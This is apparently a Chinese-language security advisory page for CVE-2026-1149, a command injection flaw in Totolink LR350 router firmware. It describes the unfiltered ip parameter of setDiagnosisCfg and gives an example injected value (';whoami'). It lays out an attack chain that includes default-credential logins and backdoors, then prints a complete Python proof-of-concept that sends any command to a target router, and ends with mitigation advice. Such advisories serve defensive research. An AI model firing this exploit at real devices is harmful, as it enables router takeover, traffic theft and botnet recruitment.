IPBUF安全漏洞报告
English
CVE-2026-1149 CVSS 6.3 中危

CVE-2026-1149 Totolink LR350 setDiagnosisCfg命令注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1149
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Totolink LR350

相关标签

命令注入CVE-2026-1149TotolinkLR350路由器漏洞远程代码执行Web管理界面CGIsetDiagnosisCfg网络设备漏洞

漏洞概述

CVE-2026-1149是影响Totolink LR350路由器9.3.5u.6369_B20220309固件版本的安全漏洞。该漏洞存在于Web管理界面的/cgi-bin/cstecgi.cgi接口中,具体位于setDiagnosisCfg函数。攻击者可以通过构造恶意的POST请求,利用ip参数注入任意系统命令,从而实现远程代码执行。

Totolink LR350是一款面向家庭和小型企业的无线网络设备,其Web管理界面存在输入验证不足的安全缺陷。攻击者无需具备高权限即可利用此漏洞,普通用户级别的访问权限足以发起攻击。由于该漏洞可通过网络远程利用,攻击者可以在互联网上对暴露的设备进行扫描和攻击。

此漏洞的危险性在于其利用难度低、攻击门槛低,且漏洞利用代码已在公开渠道可获取。攻击成功后,攻击者可以完全控制受影响的路由器设备,执行任意系统命令、安装后门、窃取网络流量、修改DNS设置等恶意操作,进而对连接该网络的终端设备造成进一步威胁。此外,攻击者还可能将受控设备纳入僵尸网络用于发起DDoS攻击等非法活动。

鉴于该漏洞已被公开披露且利用代码可用,建议使用受影响产品的用户尽快采取防护措施,避免设备直接暴露在互联网环境中。

技术细节

该漏洞属于典型的命令注入(Command Injection)类型,存在于Totolink LR350路由器的Web管理接口中。漏洞的具体位置是/cgi-bin/cstecgi.cgi文件中的setDiagnosisCfg函数,该函数负责处理网络诊断配置请求。

在处理用户提交的POST请求时,setDiagnosisCfg函数直接使用请求中的ip参数构造系统命令,而未对用户输入进行充分的过滤和验证。攻击者可以通过在ip参数中注入分号、管道符等shell特殊字符,后跟待执行的系统命令,实现命令注入攻击。

例如,当用户提交类似{"topicurl":"setDiagnosisCfg","ip":";whoami"}的请求时,原始的系统命令可能变成类似"ping ;whoami"的构造,导致;whoami命令被执行。由于该函数在处理网络诊断功能时会调用ping等系统工具,攻击者可以利用这一机制注入任意命令。

漏洞的利用条件包括:攻击者需要能够访问Web管理界面(可通过默认凭证或会话劫持实现),以及目标设备需启用相关网络诊断功能。由于该漏洞影响的是cstecgi.cgi接口,这是路由器Web管理的核心CGI程序,因此几乎所有使用该固件版本的设备都可能受到影响。攻击者成功利用后可获得root级别的命令执行权限,实现对设备的完全控制。

攻击链分析

STEP 1
步骤1
信息收集:攻击者扫描互联网或本地网络,识别运行Totolink LR350固件9.3.5u.6369_B20220309的路由器设备,访问其Web管理界面
STEP 2
步骤2
认证获取:攻击者尝试使用默认凭证(如admin/admin、admin/1234等)登录Web管理界面,或通过其他方式获取有效会话
STEP 3
步骤3
构造恶意请求:攻击者构造包含命令注入payload的POST请求,目标URL为/cgi-bin/cstecgi.cgi,参数topicurl设为setDiagnosisCfg,ip参数中注入恶意命令
STEP 4
步骤4
触发漏洞:发送构造好的请求到目标设备,setDiagnosisCfg函数处理请求时未过滤ip参数,直接将其拼接入系统命令执行
STEP 5
步骤5
命令执行:注入的命令以root权限在路由器上执行,攻击者获得设备的完全控制权,可执行任意系统操作
STEP 6
步骤6
持久化控制:攻击者可安装后门、修改配置、窃取数据或将设备纳入僵尸网络,进行进一步恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-1149 PoC - Totolink LR350 setDiagnosisCfg Command Injection Vulnerable Version: 9.3.5u.6369_B20220309 Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-1149 """ import requests import sys import argparse def exploit(target_ip, target_port=80, command="id", proto="http"): """ Exploit the command injection vulnerability in setDiagnosisCfg Args: target_ip: Target router IP address target_port: Target router web port (default: 80) command: Command to execute on the target proto: Protocol to use (http or https) """ url = f"{proto}://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" # Payload construction: inject command via ip parameter # The ip parameter is used in ping command without sanitization payload = f";{command}" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "topicurl": "setDiagnosisCfg", "ip": payload } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Command: {command}") print(f"[*] URL: {url}") try: print("[*] Sending exploit payload...") response = requests.post(url, json=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): parser = argparse.ArgumentParser(description="CVE-2026-1149 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)") parser.add_argument("-s", "--ssl", action="store_true", help="Use HTTPS") args = parser.parse_args() proto = "https" if args.ssl else "http" exploit(args.target, args.port, args.command, proto) if __name__ == "__main__": main()

影响范围

Totolink LR350 9.3.5u.6369_B20220309

防御指南

临时缓解措施
立即禁用路由器的远程Web管理功能,将HTTP/HTTPS管理端口限制为仅允许内网IP访问。同时修改默认管理员密码为强密码,并定期更换。如条件允许,将受影响的Totolink LR350设备更换为已修复该漏洞的最新固件版本或同系列产品。在网络层面,可通过ACL规则限制对路由器管理接口的访问,仅允许受信任的管理IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表